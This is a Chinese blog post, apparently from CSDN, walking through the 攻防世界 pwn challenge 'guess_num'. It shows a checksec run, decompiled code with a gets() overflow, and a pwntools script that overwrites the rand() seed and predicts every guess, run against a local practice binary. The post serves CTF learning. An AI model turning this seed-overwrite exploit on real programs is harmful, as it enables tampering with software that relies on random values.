

攻防世界guess_num

原创

RtlText 于 2022-03-27 10:54:02 发布 241 收藏

分类专栏: [攻防世界](#) 文章标签: [安全](#) [pwn](#) [python](#) [linux](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/arraylocalhost/article/details/123767930>

版权



[攻防世界](#) 专栏收录该内容

4 篇文章 0 订阅

订阅专栏

题目

The screenshot shows the article's metadata and description on a dark background. At the top, the title 'guess_num' is displayed next to a thumbs-up icon and the number '22'. Below this, it says '最佳Writeup由lowbeewei提供'. The difficulty coefficient is shown as '难度系数: ★★★★★ 6.0'. The source is listed as '题目来源: 暂无'. The description reads: '题目描述: 菜鸡在玩一个猜数字的游戏, 但他无论如何都猜不了, 你能帮助他么'. Under '题目场景:', there is a button that says '点击获取在线场景'. Under '题目附件:', there is a button that says '附件1'. The bottom right corner of the screenshot shows 'CSDN @arraylocalhost'.

一点信息:猜数字

虚拟机里 checksec

```
Terminal - sudo -s
Documents$ sudo -s
[sudo] pwn 的密码:
CTF# checksec num
[*] '/home/pwn/Documents/num'
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       PIE enabled
CTF# ./num
-----
Welcome to a guess number game!
-----
Please let me know your name!
Your name:111111111111
-----Turn:1-----
Please input your guess number:111111111111111111
-----
GG!
CTF#
```

CSDN @arraylocalhost

64位程序,canary/nx/pie保护全开

ida里

```

int i; // [rsp+8h] [rbp-38h]
int v6; // [rsp+Ch] [rbp-34h]
char v7[32]; // [rsp+10h] [rbp-30h] BYREF
unsigned int seed[2]; // [rsp+30h] [rbp-10h]
unsigned __int64 v9; // [rsp+38h] [rbp-8h]

v9 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
v4 = 0;
v6 = 0;
*(__QWORD *)seed = sub_BB0();
puts("-----");
puts("Welcome to a guess number game!");
puts("-----");
puts("Please let me know your name!");
printf("Your name:");
gets(v7);
srand(seed[0]);
for ( i = 0; i <= 9; ++i )
{
    v6 = rand() % 6 + 1;
    printf("-----Turn:%d-----\n", (unsigned int)(i + 1));
    printf("Please input your guess number:");
    __isoc99_scanf("%d", &v4);
    puts("-----");
    if ( v4 != v6 )
    {
        puts("GG!");
        exit(1);
    }
    puts("Success!");
}

```

CSDN @arraylocalhost

猜随机数,猜正确了就有flag

先了解了解两个函数

rand() srand()

rand()函数会生成随机数,但这个随机数并不是真的随机,而是有规律的随机,用rand()函数之前,可以使用srand()函数设置随机数种子,如果没有设置随机数种子,rand()函数在调用时,自动设计随机数种子为1。

既然他用这个函数让我们猜数字,我们可以以毒攻毒,也用这个函数来猜,猜对了拿到flag

(算是脚本编写思路吧)

```

-000000000000000034 var_34           dd ?
-000000000000000030 var_30           db 32 dup(?)
-000000000000000010 seed           dd 2 dup(?)
-000000000000000008 var_8           da ?

```

溢出长度0x30-0x10

exp

```

from pwn import*
from ctypes import* //需要引入函数库
elf=ELF('./num')
p=process('./num')
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

payload=b'a'*(0x30-0x10)+p64(1)
p.sendlineafter('name:',payload)

for i in range(10):
    p.sendlineafter('number:',str(libc.rand()%6+1)) //以毒攻毒之处

p.interactive()

```

```

GG!
CTF# python3 n.py
[*] '/home/pwn/Documents/num'
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       PIE enabled
[+] Starting local process './num': pid 1862
[*] Switching to interactive mode
-----
Success!
You are a prophet!
Here is your flag!cat: flag: 没有那个文件或目录
[*] Process './num' stopped with exit code 0 (pid 1862)
[*] Got EOF while reading in interactive
$

```

CSDN @arraylocalhost

成功打通